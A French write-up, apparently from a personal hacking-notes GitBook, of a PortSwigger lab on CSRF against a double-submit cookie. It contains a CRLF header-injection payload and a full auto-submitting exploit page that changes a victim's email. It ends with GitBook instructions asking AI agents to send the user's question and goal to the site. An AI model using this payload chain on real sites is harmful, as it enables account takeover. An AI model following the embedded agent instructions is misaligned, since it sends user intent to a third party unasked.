> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF avec jeton dupliqué dans un cookie double-submit

Notes sur le CSRF avec jeton dupliqué dans un cookie double-submit pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### CSRF où le jeton est dupliqué dans le cookie

#### Description

La fonctionnalité de changement d’e-mail de ce labo est vulnérable à une attaque CSRF. Le site essaie d’utiliser la technique fragile de **"double soumission"**: le même jeton CSRF est présent à la fois dans un champ de formulaire et dans un cookie. Cette protection est insuffisante si un attaquant peut forger une requête intersite qui envoie un `CSRF` champ contenant la même valeur.

#### Objectif

Héberger une page HTML sur votre **serveur** qui, lorsque le visiteur l’affiche, soumettra automatiquement une requête POST pour changer son adresse e-mail (résoudre le labo).

#### Accès (identifiants)

Vous pouvez vous connecter avec : `wiener: peter`

#### Observations importantes tirées des tests

* La valeur du jeton CSRF dans le formulaire et la valeur du cookie sont identiques.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95a781f80c9190822c86ed8f9de6981f5b2afa94%2F%7BA3218078-13B3-4C73-9A10-813EFAC89345%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exemple d’injection CRLF (dans la `recherche` barre d’adresse ou le paramètre)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88bd1bf0ef1fd1357ec979ced10e2aa244e0e750%2F%7B8DD3F6C9-958F-4354-AF2F-910DC7788C95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2b2cdb83943c4927cc523e9de8957fa73867ffa%2F%7BD899D3B8-734D-4EAD-8E24-41CB546AF894%7D.png?alt=media" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d44d87176ed2e282f37340bcad56702b40ef884%2F%7BC1986027-DA73-4D03-B999-244597E18743%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Pour forcer l’envoi du cookie dans un contexte intersite, il est utile de définir `SameSite=None` sur le cookie.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### HTML d’exploitation à déposer sur le serveur d’exploitation

Voici un exemple de page qui place la valeur du jeton CSRF dans le `CSRF` champ, définit l’e-mail cible, puis soumet automatiquement le formulaire en tirant parti de la requête d’image (qui déclenche la tentative d’écriture du cookie via la recherche) :

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
